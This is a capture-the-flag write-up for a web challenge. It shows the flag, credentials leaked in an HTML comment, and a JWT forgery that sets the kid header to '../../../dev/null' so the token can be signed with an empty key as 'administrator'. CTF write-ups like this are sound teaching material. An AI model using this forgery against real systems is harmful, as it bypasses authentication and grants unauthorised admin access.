Stellar Gateway Writeup

Flag:

UVT{Y0u_F0Und_m3_I_w4s_l0s7_1n_th3_v01d_of_sp4c3_I_am_gr3tefull_and_1'll_w4tch_y0ur_m0v3s_f00000000000r3v3r}

Summary

The application exposes test credentials in /login, but the real bug is in the JWT verifier:

• the session cookie is an HS256 JWT
• the JWT header contains a user-controlled kid
• the backend accepts kid=../../../dev/null
• the verifier then uses the contents of /dev/null as the HMAC key, which is an empty string

That lets us forge any token signed with an empty secret.

The important detail is that /flag is not gated on role=admin. The backend checks the identity string and only accepts sub=administrator.

Enumeration

The login page source contains:

<!-- Test credentials: pilot_001 / S3cret_P1lot_Ag3nt -->

Logging in returns a JWT like:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "galactic-key.key"
}

and a payload like:

{
  "sub": "pilot_001",
  "role": "crew"
}

Access to /admin and /flag is denied for this token.

Exploit

Forge a new JWT with:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../dev/null"
}

and:

{
  "sub": "administrator",
  "role": "admin"
}

Sign it with HS256 using the empty key b"".

Then send it as the session cookie to /flag.

Automation

I used a short script to:

• log in with the visible credentials and capture the JWT structure
• forge a replacement token with kid=../../../dev/null
• either print the forged JWT or send it straight to /flag

Notes

• The visible creds are useful for understanding the token format, but not required for the final exploit.
• role=admin alone is not enough.
• The decisive condition is sub=administrator.